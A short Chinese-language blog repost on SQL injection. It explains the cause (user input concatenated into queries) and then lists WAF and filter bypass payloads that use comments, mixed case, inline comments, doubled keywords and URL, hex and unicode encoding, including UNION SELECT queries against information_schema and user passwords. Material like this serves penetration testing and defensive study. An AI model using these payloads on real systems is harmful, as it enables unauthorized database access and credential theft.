SQL Injection绕过技巧

xiaoxiao2021-02-28  38

来源:https://www.cnblogs.com/joy-nick/p/5774462.html

0x00 sql注入的原因

sql注入的原因,表面上说是因为 拼接字符串,构成sql语句,没有使用 sql语句预编译,绑定变量。

但是更深层次的原因是,将用户输入的字符串,当成了 “sql语句” 来执行。

比如上面的 String sql = "select id,no from user where id=" + id;我们希望用户输入的 id 的值,仅仅作为一个字符串字面值,传入数据库执行,但是当输入了: 2 or 1=1 时,其中的 or 1=1 并没有作为 where id= 的字面值,而是作为了 sql语句 来执行的。所以其本质是将用户的输入的数据,作为了命令来执行。

0x01 sql注入绕过

1.1 注释符绕过

常用注释符:

//, -- , /**/, #, --+, -- -, ;,,--a UNION /**/ Select /**/user,pwd,from user U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

1.2 大小写绕过

?id=1+UnIoN/**/SeLeCT

1.3 内联注释绕过

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -

通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =

1.4 双关键字绕过

?id=1+UNIunionON+SeLselectECT+1,2,3

1.5 编码绕过

如URLEncode编码,ASCII,HEX,unicode编码绕过

or 1=1o%72 %31=%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 十六进制编码 SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) 双重编码绕过 ?id=1%2f%252a*/UNION%2f%252a /SELECT%2f%252a*/1,2,password%2f%252a*/FROM%2f%252a*/Users--+ 一些unicode编码举例: 单引号:' %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07
转载请注明原文地址: https://www.6miu.com/read-2632762.html

最新回复(0)